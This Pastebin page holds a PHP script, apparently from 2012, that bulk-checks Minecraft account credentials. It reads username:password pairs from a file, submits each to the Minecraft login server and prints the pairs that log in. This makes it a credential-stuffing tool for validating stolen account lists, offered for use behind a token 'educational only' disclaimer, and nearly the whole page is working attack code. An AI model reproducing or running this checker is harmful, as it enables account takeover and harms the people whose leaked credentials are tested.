Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ==================================================================================================
- Code to Bulk minecraft account checker. Only use 50 at a time so you don't take too much RAM :3
- ==================================================================================================
- <?php
- //
- // Minecraft Alt Checker by jeff142
- // Copyright jeffery schefke 2012 all rights reserved
- // educational only not to be used in illegal ways.
- // License : GNU General Public License V3
- // http://www.gnu.org/licenses/gpl.txt
- // Script is slow do no more than 10-20 at a time, unless your internet is fast.
- ##---File alts are in ---##
- $altsfile = 'alts.txt'; #
- ##
- // start counts.
- $amount = 0;
- $worked = 0;
- $failed = 0;
- $failedmig = 0;
- $failedbads = 0;
- // Timer
- function getTime()
- {
- $a = explode (' ',microtime());
- return(double) $a[0] + $a[1];
- }
- $Start = getTime();
- // Get alts form file
- $alts['string'] = file_get_contents($altsfile);
- //trim spaces
- $alts['string'] = trim($alts['string']);
- // remove line brakes
- $alts['string'] = str_replace("\n", '|', $alts['string']);
- // trim any space
- $alts['string'] = trim($alts['string']);
- // put each account in its own array spot
- $Accounts = explode("|", $alts['string']);
- echo '<h3>Working</h3>';
- // for each account check the minecraft server
- foreach($Accounts as $list => $login){
- // Count are alts
- $amount = $amount + 1;
- // brake user and password
- $namepass = explode(":", $login);
- //check website
- $data = file_get_contents('http://login.minecraft.net/?user='.$namepass['0'].'&password='.$namepass['1'].'&version=15');
- //prosess what thay gave us
- $data = explode(":", $data);
- // is it bad?
- if($data[0] == "Bad login"){
- $vaild = false;
- //add fail count
- $failed = $failed + 1;
- $failedbad = $failedbad + 1;
- // next check
- }elseif($data['0'] == 'Too many failed logins'){
- echo 'Too many failed logins';
- exit();
- // check if email or username
- }elseif($data['0'] == 'Account migrated, use e-mail as username.'){
- $vaild = false;
- //add fail count
- $failed = $failed + 1;
- $failedmig = $failedmig + 1;
- }
- else{
- // give it back if valid
- echo $namepass['0'].':'.$namepass['1']."<br>";
- // count it becose it worked
- $worked = $worked + 1;
- }
- }
- echo '<br><h3>Out of : '.$amount.' alts. '.$worked.' Worked and '.$failed. ' failed</h3>';
- echo 'Out of the alts that failed '.$failedbad.' For bad login and '.$failedmig.' Failed for Account migrate';
- $End = getTime();
- echo "<br>This scrip took ".$timer = number_format(($End - $Start),2).' Sec ' ;
- $persc = ($timer / $amount);
- echo 'That\'s one alt every '.round($persc, 4).' Sec';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement